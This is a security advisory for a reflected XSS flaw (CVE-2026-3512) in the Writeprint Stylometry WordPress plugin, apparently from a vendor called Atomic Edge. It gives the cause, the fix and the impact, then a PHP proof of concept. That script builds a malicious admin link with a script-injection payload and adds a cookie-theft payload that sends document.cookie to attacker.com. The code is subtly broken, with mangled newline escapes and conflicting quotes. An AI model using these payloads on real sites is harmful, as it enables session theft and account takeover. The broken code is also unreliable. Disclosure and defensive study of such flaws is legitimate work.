Atomic Edge analysis of CVE-2026-3512 (metadata-based):
The vulnerability exists in the Writeprint Stylometry plugin’s bjl_wprintstylo_comments_nav() function. This function directly outputs the $_GET[‘p’] parameter into an HTML href attribute without proper escaping. The CWE-79 classification confirms this as classic reflected cross-site scripting. The plugin fails to sanitize user input before output, violating WordPress security best practices.
Atomic Edge research indicates the attack vector targets authenticated users with Contributor-level permissions or higher. Attackers must craft malicious links containing JavaScript payloads in the ‘p’ parameter. When victims click these links, the payload executes in their browser session. The vulnerability likely occurs in an admin interface page where the plugin displays comment navigation.
The fix requires implementing proper output escaping with esc_url() or esc_attr() functions. WordPress provides these functions specifically for URL and attribute contexts. The plugin should validate and sanitize the ‘p’ parameter before any output.
Exploitation leads to arbitrary script execution in the victim’s browser context. Attackers can steal session cookies, perform actions as the victim, or redirect to malicious sites. The CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N vector indicates network-accessible attacks with low complexity, requiring user interaction but enabling scope changes.
Without source code, Atomic Edge cannot confirm the exact endpoint. The description suggests the vulnerability appears on pages using the bjl_wprintstylo_comments_nav() function. This likely occurs in admin areas where the plugin manages comment analysis.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3512 - Writeprint Stylometry <= 0.1 - Reflected Cross-Site Scripting via 'p' Parameter
<?php
/**
* Proof of Concept for CVE-2026-3512
* This script demonstrates reflected XSS via the 'p' GET parameter
* Assumptions:
* 1. The vulnerable function bjl_wprintstylo_comments_nav() outputs $_GET['p'] directly
* 2. The plugin is active on the target WordPress installation
* 3. The attacker has Contributor-level access (or higher)
* 4. The vulnerable endpoint accepts the 'p' parameter
*
* Without access to plugin source, we cannot determine the exact endpoint.
* This PoC generates the malicious link that an attacker would craft.
*/
$target_url = 'https://example.com/wp-admin/admin.php?page=writeprint-stylometry';
// XSS payload that executes when victim clicks the link
// The payload is URL-encoded for proper transmission
$payload = '"><script>alert(document.domain)</script>';
$encoded_payload = urlencode($payload);
// Construct the malicious URL
$malicious_url = $target_url . '&p=' . $encoded_payload;
echo "Atomic Edge CVE-2026-3512 Proof of Conceptn";
echo "==========================================nn";
echo "Target URL: " . $target_url . "n";
echo "Payload: " . $payload . "n";
echo "Encoded Payload: " . $encoded_payload . "nn";
echo "Malicious Link:n";
echo $malicious_url . "nn";
echo "Instructions:n";
echo "1. An attacker with Contributor+ permissions crafts this linkn";
echo "2. The attacker tricks an admin/user into clicking the linkn";
echo "3. The JavaScript executes in the victim's browser contextn";
echo "4. The alert demonstrates successful XSS executionn";
// Example of actual exploitation payload (cookie theft)
echo "nAdvanced Payload Example (cookie theft):n";
$cookie_stealer = '"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>';
echo "Payload: " . $cookie_stealer . "n";
echo "URL: " . $target_url . '&p=' . urlencode($cookie_stealer) . "n";
?>
